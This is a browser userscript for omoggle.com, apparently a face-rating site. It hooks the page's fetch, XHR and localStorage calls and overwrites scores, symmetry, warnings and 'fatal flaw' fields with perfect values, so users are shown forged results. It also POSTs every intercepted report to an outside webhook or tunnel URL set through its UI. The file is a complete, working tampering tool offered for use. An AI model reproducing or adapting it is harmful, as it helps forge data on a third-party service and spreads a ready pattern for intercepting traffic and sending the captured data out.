// ==UserScript== // @name Omoggle God Mode - GHOST PROTOCOL v4 // @namespace http://tampermonkey.net/ // @version 4.6 // @description Aggressive Network & Logic interceptor with Reliable UI // @author Ghost // @match *://*.omoggle.com/* // @match *://omoggle.com/* // @grant none // @run-at document-start // ==/UserScript== (function() { 'use strict'; // --- SETTINGS & EXFILTRATION --- let isActive = true; const PERFECT_SCORE = 10.0; const PERFECT_PERCENT = 99.9; // Persist and prompt for Borepub/Webhook URL const exfilUrl = localStorage.getItem('ghost_exfil_url') || ''; function logMsg(msg) { const log = document.getElementById('ghost-log'); if(log) log.innerHTML = `
> ${new Date().toLocaleTimeString().split(' ')[0]} | ${msg}
` + log.innerHTML; console.log("[GHOST]", msg); } async function updateExfilUrl() { let current = localStorage.getItem('ghost_exfil_url') || ''; let newUrl = prompt("Enter Server URL (Your HF Space or Bore tunnel URL):", current); if (newUrl !== null) { // Clean URL newUrl = newUrl.replace(/\/$/, ''); if (!newUrl.startsWith('http')) newUrl = 'https://' + newUrl; localStorage.setItem('ghost_exfil_url', newUrl); logMsg("Target set: " + newUrl); } } // --- UI CREATION --- const container = document.createElement('div'); container.id = 'ghost-ui-wrapper'; container.innerHTML = `
GHOST_V4.5
STATUS: INTERCEPTING
[SYSTEM] Protocol engaged.
`; function injectUI() { if (window.self !== window.top) return; if (!document.getElementById('ghost-ui-wrapper')) { if (!document.body) { setTimeout(injectUI, 500); return; } const wrapper = document.createElement('div'); wrapper.id = 'ghost-ui-wrapper'; wrapper.innerHTML = container.innerHTML; document.body.appendChild(wrapper); attachListeners(wrapper); logMsg("GHOST_UI Protocol Engaged."); } } function attachListeners(wrapper) { const toggle = wrapper.querySelector('#ghost-toggle'); const exfil = wrapper.querySelector('#ghost-exfil-btn'); if (toggle) { toggle.onclick = (e) => { e.preventDefault(); isActive = !isActive; const target = e.target; const indicator = wrapper.querySelector('#ghost-indicator'); const status = wrapper.querySelector('#ghost-status'); target.innerText = isActive ? "BYPASS: ON" : "BYPASS: OFF"; target.style.color = isActive ? "#00ff88" : "#ff4444"; target.style.borderColor = isActive ? "#00ff88" : "#ff4444"; if(indicator) indicator.style.background = isActive ? "#00ff88" : "#ff4444"; if(status) { status.innerText = isActive ? "ACTIVE_INTERCEPT" : "BYPASSED"; status.style.color = isActive ? "#00ff88" : "#ff4444"; } logMsg(isActive ? "Protocol Resumed" : "System Standby"); }; } if (exfil) { exfil.onclick = (e) => { e.preventDefault(); e.stopPropagation(); updateExfilUrl(); }; } } if (document.readyState === 'complete') injectUI(); else window.addEventListener('load', injectUI); setInterval(injectUI, 2000); // --- BOREPUB EXFILTRATION ENGINE --- async function exfiltrate(data, type) { const targetUrl = localStorage.getItem('ghost_exfil_url'); if (!targetUrl || !isActive) return; try { let endpoint = targetUrl; if (!endpoint.includes('/api/webhook')) { endpoint = endpoint.replace(/\/$/, '') + '/api/webhook'; } const res = await fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ protocol: 'GHOST_v4.5', timestamp: Date.now(), type: type, payload: data }) }); const status = await res.json(); logMsg(`SYNC: ${type} -> OK`); } catch(e) { logMsg("SYNC_ERR: Check Server/Tunnel URL"); } } // --- DEEP DATA SCRUBBER --- function scrubData(obj) { if (!isActive || !obj || typeof obj !== 'object') return; if (Array.isArray(obj)) { obj.forEach(scrubData); return; } const highKeys = ['userScore', 'user_score', 'overall', 'score', 'harmony', 'symmetry', 'reliability', 'confidence', 'scoringConfidence']; for (let key in obj) { if (highKeys.some(hk => key.toLowerCase() === hk.toLowerCase())) { if (key.toLowerCase() === 'symmetry') obj[key] = PERFECT_PERCENT; else if (obj[key] <= 1.0) obj[key] = 0.99; else obj[key] = PERFECT_SCORE; } if (key === 'fatalFlaw' || key === 'fatal_flaw') obj[key] = "none"; if (key === 'faceStatus') obj[key] = "perfect"; if (key === 'scoringWarnings' || key === 'warnings') { if(Array.isArray(obj[key])) obj[key] = []; } if (key === 'statsJson' || key === 'stats_json') { if (typeof obj[key] === 'string') { try { let parsed = JSON.parse(obj[key]); scrubData(parsed); obj[key] = JSON.stringify(parsed); } catch(e){} } else { scrubData(obj[key]); } } if (typeof obj[key] === 'object') scrubData(obj[key]); } } // --- NETWORK INTERCEPTION (FETCH) --- const originalFetch = window.fetch; window.fetch = async (...args) => { const url = args[0].toString(); const response = await originalFetch(...args); if (isActive && (url.includes('/api/lab') || url.includes('stats') || url.includes('report'))) { return response.clone().json().then(data => { logMsg("Caught API: " + url.split('/').pop().split('?')[0]); scrubData(data); // Exfiltrate the actual report/stats to our tunnel exfiltrate(data, 'api_intercept'); return new Response(JSON.stringify(data), { status: response.status, statusText: response.statusText, headers: response.headers }); }).catch(() => response); } return response; }; // --- NETWORK INTERCEPTION (XHR) --- const originalOpen = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function(method, url) { if (isActive) { this.addEventListener('readystatechange', function() { if (this.readyState === 4 && (url.includes('/api/lab') || url.includes('stats'))) { try { let originalData = JSON.parse(this.responseText); scrubData(originalData); // Overwrite responses Object.defineProperty(this, 'responseText', { value: JSON.stringify(originalData) }); Object.defineProperty(this, 'response', { value: JSON.stringify(originalData) }); logMsg("Scrubbed XHR data stream"); exfiltrate(originalData, 'xhr_intercept'); } catch (e) {} } }); } return originalOpen.apply(this, arguments); }; // --- STORAGE INTERCEPTION --- const originalSetItem = localStorage.setItem; localStorage.setItem = function(key, value) { if (isActive && (key.includes('stats') || key.includes('match') || key.includes('report'))) { try { let data = JSON.parse(value); scrubData(data); value = JSON.stringify(data); logMsg("Cleaned storage: " + key); exfiltrate(data, 'storage_clean'); } catch(e){} } originalSetItem.apply(this, [key, value]); }; })();